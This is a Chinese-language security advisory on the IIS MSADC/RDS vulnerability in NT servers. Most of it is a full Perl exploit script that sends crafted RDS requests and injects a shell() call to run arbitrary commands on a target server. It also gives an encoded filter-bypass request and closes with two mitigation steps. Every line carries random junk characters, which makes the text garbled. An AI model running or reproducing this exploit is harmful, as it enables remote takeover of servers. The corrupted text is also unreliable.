IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N)X3XTY Di6 ?[(8 涉及程序:
?(1y Microsoft NT server
Vx u0F]% X'Xx"M 描述:
Gx/Oi)&/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ASA,{w] m.rmM` 详细:
+Mb.:_7' 如果你没有时间读详细内容的话,就删除:
Rh{f5- c:\Program Files\Common Files\System\Msadc\msadcs.dll
eF$x 1| 有关的安全问题就没有了。
(mpNcOY<D %$Tji 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
"%w u2%i s/#!VnU6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
By!o3}~g 关于利用ODBC远程漏洞的描述,请参看:
m+[Ux{$ VscE ^'+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zR:L!S F@KGj| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
&K#M*B,*p http://www.microsoft.com/security/bulletins/MS99-025faq.asp ""G'rN_=Bi .uZ3odMlx 这里不再论述。
oJz^|dW \!ZTL1b8t 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
$qnZl'O> QA`sx /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7>%8eEc 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
`*R:gE= g]H<}4lgq" rq].UCj #将下面这段保存为txt文件,然后: "perl -x 文件名"
BX7kO0j Cl7xt}I #!perl
kgP0x-Ap #
zTSTEOP}%Y # MSADC/RDS 'usage' (aka exploit) script
XNkn|q2 #
6A-|[(NS # by rain.forest.puppy
F^;ez/Gl #
R__OP`! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^6V[=!& H # beta test and find errors!
FTUv IbT YjKxb 9 use Socket; use Getopt::Std;
f.$af4
u getopts("e:vd:h:XR", \%args);
0'C1YvF dUZ
,m9u print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q>+k@>bk@ aX'*pK/- if (!defined $args{h} && !defined $args{R}) {
`Ggbi4), print qq~
3F2w-+L Usage: msadc.pl -h <host> { -d <delay> -X -v }
A2Tw<&Tw( -h <host> = host you want to scan (ip or domain)
$od7;% -d <seconds> = delay between calls, default 1 second
2T`!v -X = dump Index Server path table, if available
nj4/#W -v = verbose
g,Y/M3>( -e = external dictionary file for step 5
-{A<.a3P}= {>;R?TG]$ Or a -R will resume a command session
GKCroyor %>s|j'{ ~; exit;}
w#J2 wS =w^M{W.w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
y> (w\K9W if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
i?;Kq~, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-Qe Z#w| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
B1Oq!k $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*|l/6!WM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
r_.S>] C.QO#b if (!defined $args{R}){ $ret = &has_msadc;
O9p|a%o die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
H:\k}*w ~_ a-E print "Please type the NT commandline you want to run (cmd /c assumed):\n"
vcd\GN*4f . "cmd /c ";
V1JIht>Opo $in=<STDIN>; chomp $in;
s9d_GhT%- $command="cmd /c " . $in ;
[1KuzCcK} E~:x(5'%d if (defined $args{R}) {&load; exit;}
Q5_o/wk W}1
;Z(.* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
llsfTrp &try_btcustmr;
[fIg{Q ;S*}WqP, print "\nStep 2: Trying to make our own DSN...";
,v&(Y Od &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4Z,!zFS$` _-F s#f8 print "\nStep 3: Trying known DSNs...";
o8vug$=Z &known_dsn;
nNU2([ 4H<lm*!^ print "\nStep 4: Trying known .mdbs...";
2Wb]4- &known_mdb;
F}qc0 a@*\o+Su if (defined $args{e}){
K_-MYs. print "\nStep 5: Trying dictionary of DSN names...";
j8`BdKg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YrKWA +2j AC r print "Sorry Charley...maybe next time?\n";
BF <ikilR exit;
{qMIGwu !?gKqx'T$ ##############################################################################
2 Vrw 1'\/,Es sub sendraw { # ripped and modded from whisker
IaXeRq?< sleep($delay); # it's a DoS on the server! At least on mine...
fd2T=fz- my ($pstr)=@_;
O7IJ%_A& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
alvrh'51 die("Socket problems\n");
6K<K if(connect(S,pack "SnA4x8",2,80,$target)){
Tu 7QCr5* select(S); $|=1;
r>U@3%0& print $pstr; my @in=<S>;
O8.5}>gDn. select(STDOUT); close(S);
"w.3Q96r return @in;
&`XVq"7 } else { die("Can't connect...\n"); }}
3%ZOKb"D* m%e68c ##############################################################################
t<viX's VU d\QR- sub make_header { # make the HTTP request
W#sU`T
my $msadc=<<EOT
# Vha7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I.k
*GW User-Agent: ACTIVEDATA
b>N8F^}~O Host: $ip
uRr o?m< Content-Length: $clen
4_cqT/ Connection: Keep-Alive
0_t`%l= E+w<RNBmz ADCClientVersion:01.06
]P?vdgEM& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5[u]E~Fl} Nu7
!8[?r* --!ADM!ROX!YOUR!WORLD!
u-5{U-^_ Content-Type: application/x-varg
cjIh}:|' Content-Length: $reqlen
#ucBo<[ & 9 ?\b7 EOT
/Mu@,)'' ; $msadc=~s/\n/\r\n/g;
/RC7"QzL return $msadc;}
J
S_]FsxD 5N&?KA- ##############################################################################
`^Em&6!! P}7 'm
M sub make_req { # make the RDS request
'CkIz"Wd my ($switch, $p1, $p2)=@_;
2V;PYI my $req=""; my $t1, $t2, $query, $dsn;
OH(waKq2I )/?$3h; if ($switch==1){ # this is the btcustmr.mdb query
b`O'1r\Y; $query="Select * from Customers where City=" . make_shell();
/C G"]!2 " $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5, 6"&vU, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
8q}q{8 "5wa91* elsif ($switch==2){ # this is general make table query
7Da` $query="create table AZZ (B int, C varchar(10))";
b?QoS|<e? $dsn="$p1";}
lv+TD!b wT8DSq elsif ($switch==3){ # this is general exploit table query
g~A`N=r;h $query="select * from AZZ where C=" . make_shell();
@wNG{Stj $dsn="$p1";}
.+A+|yR JHTSUq elsif ($switch==4){ # attempt to hork file info from index server
Hn+~5@. $query="select path from scope()";
!NvI:C_4| $dsn="Provider=MSIDXS;";}
l3I:Q^x@ r:ptQo`1- elsif ($switch==5){ # bad query
>_"an~Ss $query="select";
$6iX $dsn="$p1";}
2)HuZda D!-g&HBTC $t1= make_unicode($query);
V/I<g $t2= make_unicode($dsn);
Ks`J([(W& $req = "\x02\x00\x03\x00";
]>nk"K!% $req.= "\x08\x00" . pack ("S1", length($t1));
F%D.zvKN $req.= "\x00\x00" . $t1 ;
9H`XeQ. $req.= "\x08\x00" . pack ("S1", length($t2));
sZ/v^xk $req.= "\x00\x00" . $t2 ;
0*D$R`$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
WuUk9_g return $req;}
\$T(t/$9
MC.)2B7 ##############################################################################
ofw3S|F6 qm8B8&- sub make_shell { # this makes the shell() statement
JNXq.;:`Q return "'|shell(\"$command\")|'";}
CSq4x5!_7> UIN<2F_ ##############################################################################
hAnPXiD
>rKIG~P_ sub make_unicode { # quick little function to convert to unicode
!0L Wa" my ($in)=@_; my $out;
G[I"8iS, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
UJ7*j%XQz_ return $out;}
;dZZ;#k% %^GfS@t ##############################################################################
SdxDa ryUQU^v sub rdo_success { # checks for RDO return success (this is kludge)
""F5z,' my (@in) = @_; my $base=content_start(@in);
nIy}#MUd|q if($in[$base]=~/multipart\/mixed/){
9oR@UW1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
'RYIW/a return 0;}
xvl#w
mt p+rr ##############################################################################
`l){!rg8IC `yXg{lk sub make_dsn { # this makes a DSN for us
O6a<`]F my @drives=("c","d","e","f");
P& -Qc print "\nMaking DSN: ";
{xB!EQ" foreach $drive (@drives) {
a PfO$b: print "$drive: ";
A,hJIe my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ed,~1GanY "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~{B7 k: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@oY~..d` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
m6&~HfwN return 0 if $2 eq "404"; # not found/doesn't exist
\[_t]'p if($2 eq "200") {
_] sn0rX foreach $line (@results) {
g:D>.lKd return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
a85$K$b> } return 0;}
(\hx` Yh=> #crQ1p) \ ##############################################################################
=9["+;\e& xH(lm2kvT sub verify_exists {
?2;&O`x* my ($page)=@_;
`maKN \; my @results=sendraw("GET $page HTTP/1.0\n\n");
i6tf2oqO7 return $results[0];}
>G*eNn ," Wr" ##############################################################################
&5spTMw8 z/WE,R sub try_btcustmr {
)=Z>#iH1 my @drives=("c","d","e","f");
l7259Ro~ my @dirs=("winnt","winnt35","winnt351","win","windows");
gG:Vt}N \y)rt ) foreach $dir (@dirs) {
C] eSizS. print "$dir -> "; # fun status so you can see progress
THbh%)Zv+ foreach $drive (@drives) {
B=yqW print "$drive: "; # ditto
8#
>op6^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t?ZI".> $reqlenlen=length( "$reqlen" );
rEnQYz $clen= 206 + $reqlenlen + $reqlen;
5uNJx5g 4(~L#}:r! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Y. 5_6'Eo? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
WJndoB.f[2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$L>@Ed< ?(y*nD[a ##############################################################################
HU}7zK2 1N^[.= sub odbc_error {
1k5Who@ my (@in)=@_; my $base;
@ ZwvBH my $base = content_start(@in);
`PdQX.wN if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
t#/YN.@r $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*{@Nq=fE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TJpD{p} $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ic:(Gi- % return $in[$base+4].$in[$base+5].$in[$base+6];}
+L|?~p`V print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ooL!TSGD print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9ni1f{k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
!/*\}\'4 yZ(zdM\/sL ##############################################################################
p8H'{f\G @* jz
o sub verbose {
S8w _ii3zd my ($in)=@_;
qu6D 5t return if !$verbose;
nQtWvT print STDOUT "\n$in\n";}
KKPh~ThC "f2$w ##############################################################################
9y8&9<# /?'FE 7Y sub save {
o>i4CCU+ my ($p1, $p2, $p3, $p4)=@_;
E *6Cw
l open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\fr~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
m6K}|j close OUT;}
Rz:]\jcIT/ =^f<v_L ##############################################################################
Y>T-af49 Apag{Z]^B sub load {
GL0L!="! my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T_
<@..C open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fLD,5SN @p=<IN>; close(IN);
c(m<h+2VL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Jk11fn;\> $target= inet_aton($ip) || die("inet_aton problems");
.x.]`b( print "Resuming to $ip ...";
0c]/bs{} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
o5O#vW2Il& if($p[1]==1) {
El".I?E* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"1*:JVG $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
S-b/S5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<C iSK! if (rdo_success(@results)){print "Success!\n";}
1~`fVg else { print "failed\n"; verbose(odbc_error(@results));}}
Rz/gtEP elsif ($p[1]==3){
e@07 if(run_query("$p[3]")){
CL;}IBd a print "Success!\n";} else { print "failed\n"; }}
Beo@K|3GN elsif ($p[1]==4){
^j7Vt2- if(run_query($drvst . "$p[3]")){
RFc v^Xf print "Success!\n"; } else { print "failed\n"; }}
4Uo&d#o)C- exit;}
7`Ak)F:V gp?uHKsM ##############################################################################
$dC?Tl|B0 I)[DTCJ~ sub create_table {
1{.|+S Z! my ($in)=@_;
D%Sl AzZ3 $reqlen=length( make_req(2,$in,"") ) - 28;
0<@KG8@hI; $reqlenlen=length( "$reqlen" );
xAm6BB
c $clen= 206 + $reqlenlen + $reqlen;
Nh+ H 9 my @results=sendraw(make_header() . make_req(2,$in,""));
hhvyf^o return 1 if rdo_success(@results);
@H8EWTZ my $temp= odbc_error(@results); verbose($temp);
-KbYOb return 1 if $temp=~/Table 'AZZ' already exists/;
!&E-}}< return 0;}
vl)l' jPkn[W#
6 ##############################################################################
8z\xrY j?QDR sub known_dsn {
J'r^/ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8u]2xB=K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
_yR^*}xJb "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
A=0'Ks "banner", "banners", "ads", "ADCDemo", "ADCTest");
a 1*p*dM# .=;
; foreach $dSn (@dsns) {
5"H=zJ=r print ".";
dj%!I:Q>u next if (!is_access("DSN=$dSn"));
G3v5KmT if(create_table("DSN=$dSn")){
j'K/22 print "$dSn successful\n";
|y!A&d=xYn if(run_query("DSN=$dSn")){
X}0cCdW print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dAj$1Ke print "Something's borked. Use verbose next time\n";}}} print "\n";}
}Y4qS Dvln/SBk ##############################################################################
;dhQN}7 08{@rOr sub is_access {
93hxSRw my ($in)=@_;
7K:PdF>/ $reqlen=length( make_req(5,$in,"") ) - 28;
vZ Lf $reqlenlen=length( "$reqlen" );
9N3eN $clen= 206 + $reqlenlen + $reqlen;
|ENh)M8}r my @results=sendraw(make_header() . make_req(5,$in,""));
}ad|g6i` my $temp= odbc_error(@results);
R G`1en verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*8XEYZa return 0;}
U/BR*Zn]* I2Yz#V<%ru ##############################################################################
u#SWj,X ehY5!D1Q sub run_query {
E4xa[iZ my ($in)=@_;
,Y48[_ymm $reqlen=length( make_req(3,$in,"") ) - 28;
v.5+7,4 $reqlenlen=length( "$reqlen" );
%~S&AE- $clen= 206 + $reqlenlen + $reqlen;
EJ@ ~/)< my @results=sendraw(make_header() . make_req(3,$in,""));
;*&-C9b return 1 if rdo_success(@results);
pD+k* my $temp= odbc_error(@results); verbose($temp);
>F&47Yn return 0;}
sp`Dvqx0 `@s^(hc7i ##############################################################################
-Y;3I00( X[TR3[1} sub known_mdb {
FC"8#*x my @drives=("c","d","e","f","g");
?G&ikxl my @dirs=("winnt","winnt35","winnt351","win","windows");
lb1Xsgm{ my $dir, $drive, $mdb;
N,U8YO my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
sn>~O4" 6S\8$ # this is sparse, because I don't know of many
,6W>can my @sysmdbs=( "\\catroot\\icatalog.mdb",
WOf 4o "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'A[dCc8O "\\system32\\certmdb.mdb",
61
~upQaR "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{kAc(
5E_YEBO/ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
H 7
^/q7 "\\cfusion\\cfapps\\forums\\forums_.mdb",
D|#E9OQzs "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
o%*xvH*A "\\cfusion\\cfapps\\security\\realm_.mdb",
6\S~P/PkE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Pr,q*_Yy "\\cfusion\\database\\cfexamples.mdb",
*HB-QIl "\\cfusion\\database\\cfsnippets.mdb",
/,Jqmm#s^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R_xRp&5 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.w,q0<} "\\cfusion\\brighttiger\\database\\cleam.mdb",
HE_8(Ms;8 "\\cfusion\\database\\smpolicy.mdb",
Vs{|xG7WD "\\cfusion\\database\cypress.mdb",
v74&BL]a "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0Fr?^3h "\\website\\cgi-win\\dbsample.mdb",
Oz#{S:24M+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
vSLtFMq^( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
G<;*SYAb ); #these are just
S>;
5[l 4 foreach $drive (@drives) {
9JKEw foreach $dir (@dirs){
HLHz2-lI foreach $mdb (@sysmdbs) {
7})[lL`\s print ".";
cPc</[x[W if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_n\GNUA print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
5QO9Q]I#_\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~.lPEA %% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
-C&P%tt Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
vgN&K@hJ 0'o:#- foreach $drive (@drives) {
w"&n?L foreach $mdb (@mdbs) {
eGbGw print ".";
@gXx1hEg if(create_table($drv . $drive . $dir . $mdb)){
b*Q&CL print "\n" . $drive . $dir . $mdb . " successful\n";
O!bOp= if(run_query($drv . $drive . $dir . $mdb)){
w^0nqh print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
*siFj
CN< } else { print "Something's borked. Use verbose next time\n"; }}}}
wo5
}
Ok\7y-w^ >~+ELVB& ##############################################################################
8|58 H =zs`#-^8 sub hork_idx {
@2v_pJy^ print "\nAttempting to dump Index Server tables...\n";
gr-OHeid print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
mXfXO*Cnp $reqlen=length( make_req(4,"","") ) - 28;
3%=~)7cF $reqlenlen=length( "$reqlen" );
"`1bA"E $clen= 206 + $reqlenlen + $reqlen;
^\,E&=/}M my @results=sendraw2(make_header() . make_req(4,"",""));
LvYB7<zk> if (rdo_success(@results)){
?p8_AL'RS my $max=@results; my $c; my %d;
pIKPXqA for($c=19; $c<$max; $c++){
! #2{hQRu $results[$c]=~s/\x00//g;
K8Y=S12Ti $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
q?/a~a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
SGlNKA},A $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[0D.K}7| $d{"$1$2"}="";}
fZA4q0 foreach $c (keys %d){ print "$c\n"; }
n#_$\
p>Yd } else {print "Index server doesn't seem to be installed.\n"; }}
'K,:j 388 R@k&SlL'` ##############################################################################
Bo%NFB; o J;$sj sub dsn_dict {
]- QA'Lq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
e'b(gD} while(<IN>){
*,WU?tl& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/FEVmH?
next if (!is_access("DSN=$dSn"));
e'D&8z_; if(create_table("DSN=$dSn")){
q.`NtsW!\+ print "$dSn successful\n";
tT?cBg{ if(run_query("DSN=$dSn")){
p,i[W.dy.' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_~ iw[*#u print "Something's borked. Use verbose next time\n";}}}
m5Di=8 print "\n"; close(IN);}
Aj+F
|l #"iu|D ##############################################################################
scLll ,~ )gy!GK sub sendraw2 { # ripped and modded from whisker
!5uGd`^I sleep($delay); # it's a DoS on the server! At least on mine...
?"g2v-jTK my ($pstr)=@_;
$,Yd>%Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
YcK|.Mq': die("Socket problems\n");
0T5L_%c if(connect(S,pack "SnA4x8",2,80,$target)){
aM0f/"-_ print "Connected. Getting data";
L<{i,'M open(OUT,">raw.out"); my @in;
?]Xpi3k select(S); $|=1; print $pstr;
v^iL5y! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
v9O~@v{= close(OUT); select(STDOUT); close(S); return @in;
a\YV3NJ/A } else { die("Can't connect...\n"); }}
O~K>4ax a8Nh=^Py ##############################################################################
0$fpIz ve2u=eQ1 sub content_start { # this will take in the server headers
d-r@E3 my (@in)=@_; my $c;
-"60d
@. for ($c=1;$c<500;$c++) {
]R9HyCl&a6 if($in[$c] =~/^\x0d\x0a/){
tQYM&6g if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<.izVD4/Gg else { return $c+1; }}}
e@*
EzvO return -1;} # it should never get here actually
d8=x0~7 O]Qd<%V'x ##############################################################################
JKmIvZ)8 #O}
,`[< sub funky {
q6`b26 my (@in)=@_; my $error=odbc_error(@in);
c?&X?< if($error=~/ADO could not find the specified provider/){
91-o}|3v print "\nServer returned an ADO miscofiguration message\nAborting.\n";
!"/n/jz exit;}
fbKkq.w if($error=~/A Handler is required/){
F Yzi~L print "\nServer has custom handler filters (they most likely are patched)\n";
n!xt5=xP{ exit;}
q]e`9/U if($error=~/specified Handler has denied Access/){
[dIXR print "\nServer has custom handler filters (they most likely are patched)\n";
3L}!RB exit;}}
Jx7C'~,J T1Z;r*} ##############################################################################
#S*/bao# ah0`KxO] sub has_msadc {
K<qk.~
S my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
OJ5#4qJ[ my $base=content_start(@results);
:hFIl0$,"3 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
MWpQ^dL_ return 0;}
cacr=iX X4Ic; ########################
,J^b0@S z(Pe,zES :L RYYw 解决方案:
Q)"Nu.m
& 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
k_5L4c:" 2、移除web 目录: /msadc